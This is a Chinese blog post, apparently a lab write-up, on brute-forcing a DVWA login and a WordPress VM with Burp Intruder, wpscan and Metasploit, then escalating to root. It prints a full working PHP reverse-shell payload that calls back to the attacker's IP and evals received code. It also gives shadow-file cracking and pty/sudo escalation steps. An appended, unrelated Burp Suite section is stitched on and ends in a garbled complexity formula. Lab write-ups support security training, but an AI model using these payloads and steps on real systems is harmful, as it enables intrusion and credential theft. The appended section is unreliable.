WEB安全实战(带靶场)–暴力破解

本文详细介绍了Web安全中的暴力破解概念,包括DVWA靶场的暴力破解实例,以及如何利用Burpsuite进行爆破。接着展示了针对WordPress的暴力破解过程,利用Metasploit进行密码攻击,并最终实现权限提升。实验涵盖了信息探测、漏洞挖掘及利用,以及Webshell生成和提权技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

WEB安全实战(带靶场)–暴力破解

靶场一:DVWA中的暴力破解

靶场二:靶场实验 暴力破解

暴力破解百度云链接(失效请在评论区通知)
链接:https://pan.baidu.com/s/1FcNFC27VFBfQy0ZMnB_TAg
提取码:1234

Brute Force(暴力破解)

Brute Force是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一,如2014年轰动全国的12306“撞库”事件,实质就是暴力破解攻击,Web安全中的暴力破解也是利用尝试所有的可能性最终获取正确的结果。

靶场一:DVWA中的暴力破解

DVWA暴力破解--low

源码解析
if( isset( $_GET[ 'Login' ] ) ) {
    # 获取用户名和密码
    $user = $_GET[ 'username' ];
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );
 
    # 查询验证用户名和密码
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
 
    if( $result && mysql_num_rows( $result ) == 1 ) {
      # 输出头像和用户名
      $avatar = mysql_result( $result, 0, "avatar" );
      echo "<p>Welcome to the password protected area {$user}</p>";
    }
    else {
        登录失败
    }
    mysql_close();
}

Isset

检测变量是否已声明并且其值不为 null
(https://www.php.net/manual/zh/function.isset.php)
若变量不存在则返回 FALSE 
若变量存在且其值为NULL,也返回 FALSE 
若变量存在且值不为NULL,则返回 TURE 
同时检查多个变量时,每个单项都符合上一条要求时才返回 TRUE,否则结果为 FALSE
如果已经使用 unset() 释放了一个变量之后,它将不再是 isset()。
若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。同时要注意的是一个 NULL 字节("\0")并不等同于 PHP 的 NULL 常数。

$_GET 和 $_POST

PHP 超全局变量 $_GET 和 $_POST 用于收集表单数据
$_GET 是通过 URL 参数传递到当前脚本的变量数组。
$_POST 是通过 HTTP POST 传递到当前脚本的变量数组。

mysql_query() 函数

执行一条 MySQL 查询

mysql_error() 函数

返回上一个 MySQL 操作产生的文本错误信息。

mysql_num_rows() 函数

返回结果集中行的数目。

mysql_result()函数

返回结果集中一个字段的值,如果成功,则该函数返回字段值。如果失败,则返回 false

综上所述:未做登录验证码以及登录次数限制,这是初级代码,还存在sql注入。

漏洞利用

第一步:使用burpsuite抓包
在这里插入图片描述

第二步:ctrl+I将包复制到intruder模块,因为要对username(为了节省时间这里直接用admin)和password参数进行爆破,所以在password参数的内容两边加$
在这里插入图片描述

第三步:选中Payloads,载入字典,点击Start attack进行爆破
在这里插入图片描述获取到密码为password

实验一结束

靶场二:靶场实验 暴力破解

实验环境

攻击机:kali
IP:192.168.31.15
在这里插入图片描述
靶场机器:暴力破解.ova(Ubuntu)
IP:192.168.31.86
在这里插入图片描述

信息探测

扫描主机服务信息以及服务版本

nmap -T4 -A -v 靶场IP地址

在这里插入图片描述

探测敏感信息

nikto -host http://靶场IP地址:端口

在这里插入图片描述

扫描网页目录(这里后期补充换了一下ip,不影响观看)

dirb http://ip:端口

在这里插入图片描述在这里插入图片描述

漏洞挖掘

打开WEB首页

在这里插入图片描述

查看站点敏感目录:/secret/

在这里插入图片描述

打开后台登录页面

在这里插入图片描述

漏洞利用

Wordpress用户名枚举(需要联网)

wpscan --url URL ----enumerate u

在这里插入图片描述

发现用户名admin
在这里插入图片描述

利用Metasploit 进行密码暴力破解

msfconsole

在这里插入图片描述

利用wordpress用户枚举模块
在这里插入图片描述在这里插入图片描述

msf6 > use auxiliary/scanner/http/wordpress_login_enum

在这里插入图片描述

#设置登陆名为admin
msf6 auxiliary(scanner/http/wordpress_login_enum) > set username admin   
                                                                                
#设置目标ip                                                                                                                   
msf6 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 192.168.31.86                                                                            

#设置目标目录为/secret/
msf6 auxiliary(scanner/http/wordpress_login_enum) > set targeturi /secret/

#设置字典文件路径                                                                                                                      
msf6 auxiliary(scanner/http/wordpress_login_enum) > set pass_file /usr/share/wordlists/dirb/common.txt      
                                                                                                                                                                                    
#开始攻击                                                                                                                                                                                                                           
msf6 auxiliary(scanner/http/wordpress_login_enum) > run

在这里插入图片描述

发现密码为admin
在这里插入图片描述

Tips:页面登陆 如果发现登陆页面跳转失败
在这里插入图片描述
修改host文件进行ip映射
在这里插入图片描述
顺利打开:用户名:admin 密码:admin
在这里插入图片描述
登陆成功
在这里插入图片描述

漏洞提权

生成webshell(php木马文件)

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.31.15 lport=4444 -f raw

在这里插入图片描述

源码附上

<?php /**/ error_reporting(0); $ip = '192.168.31.15'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

在这里插入图片描述

运行404.php文件

http://192.168.31.86/secret/wp-content/themes/twentyseventeen/404.php

在这里插入图片描述

Msf反弹shell
在这里插入图片描述在这里插入图片描述

下载用户密码以及影子文件进行破解
在这里插入图片描述
在这里插入图片描述
获取到用户名以及密码:marlinspike (marlinspike)

shell提权(利用python模块pty)

python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

切换为marlinspike用户
在这里插入图片描述

查看sudo权限
在这里插入图片描述
切换为root权限
在这里插入图片描述
在这里插入图片描述

获取到flag值 实验结束

### Burp Suite Apprentice 版本靶场及练习环境使用教程 #### 安装与配置 Burp Suite Burp Suite 是一款广泛使用的 Web 应用程序安全测试工具,Apprentice 版本适合初学者学习和实践。为了更好地理解和掌握 Burp Suite 的功能,在开始之前需要确保已经成功安装并熟悉基本操作。 对于初次使用者来说,可以从 PortSwigger 官方网站获取最新版的 Burp Suite 并按照官方指南完成设置过程[^1]。一旦安装完毕,则可以通过浏览器代理流量到此软件来进行 HTTP(S) 请求拦截、修改以及分析等工作流。 #### 设置 Burp Suite 代理 启动应用程序之后,进入 `Proxy` -> `Options` 菜单项下调整监听端口,默认情况下会自动检测本地网络接口;如果遇到特殊情况需手动指定IP地址或更改默认8080端口号时可在此处进行相应改动。另外还需注意SSL证书部分,因为HTTPS加密通信也需要被解密以便于后续审计工作开展,所以要信任自签名CA根证书,并将其导出安装至客户端设备上以实现无缝透明截获所有类型的Web交互数据包。 #### 利用内置靶场资源 PortSwigger 提供了一个名为「Web Security Academy」的学习平台,里面包含了大量针对不同漏洞类目的实战演练场景,其中包括但不限于SQL注入、XSS跨站脚本攻击、命令执行等高危风险案例研究。特别是提到的文件上传漏洞实验项目能够帮助学员深入了解如何利用Burp Suite识别潜在的安全隐患点,并采取有效措施加以防范[^2]。 具体而言: - **访问在线课程页面**:前往 [PortSwigger 学院](https://portswigger.net/web-security),注册账户后即可解锁各类培训资料; - **选择感兴趣的主题领域**:比如服务器端漏洞入门路径(Server-Side Vulnerabilities Apprentice),跟随指引逐步深入探索各个知识点; - **动手实操环节**:每一个理论讲解后面都会附相应的虚拟机镜像或者云服务实例链接,允许学生在一个受控环境中自由发挥创造力去尝试破解难题。 #### 用户名枚举漏洞复盘 在实际渗透测试过程中经常会碰到基于表单认证机制的服务端应用,这时就需要特别留意是否存在因不当处理而泄露敏感信息的可能性。例如当提交不存在的用户名时返回“无效用户名”,而对于已存在的记录则提示“密码错误”。这种差异化的反馈模式很容易成为攻击者实施暴力猜解策略的重要线索之一[^3]。 ```bash # 假设我们正在审查某个登录API接口 POST /login HTTP/1.1 Host: vulnerable.web.app Content-Type: application/x-www-form-urlencoded username=alice&password=testpass ``` 通过上述请求结构可以看出,正常情况下无论输入何种参数组合都应该得到统一格式的结果集而不是区分对待。因此建议开发人员遵循最小化暴露原则设计响应消息体内容,避免给恶意行为提供任何额外的帮助。 #### 密码爆破技巧分享 考虑到效率因素,在不知道确切目标的情况下通常推荐采用分步式方法逐一验证可能选项而非一次性穷尽整个候选空间。假设存在两个长度均为n位字符组成的列表分别代表合法账号集合A={a₁,a₂,...,an} 和对应私钥B={b₁,b₂,...bn},那么理论上讲前者所需尝试次数大约等于两倍的数量级即O(2n),远小于后者所需的平方级别复杂度 O()[^3]. 综上所述,合理规划测试计划不仅可以节省时间成本还能提高成功率概率。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值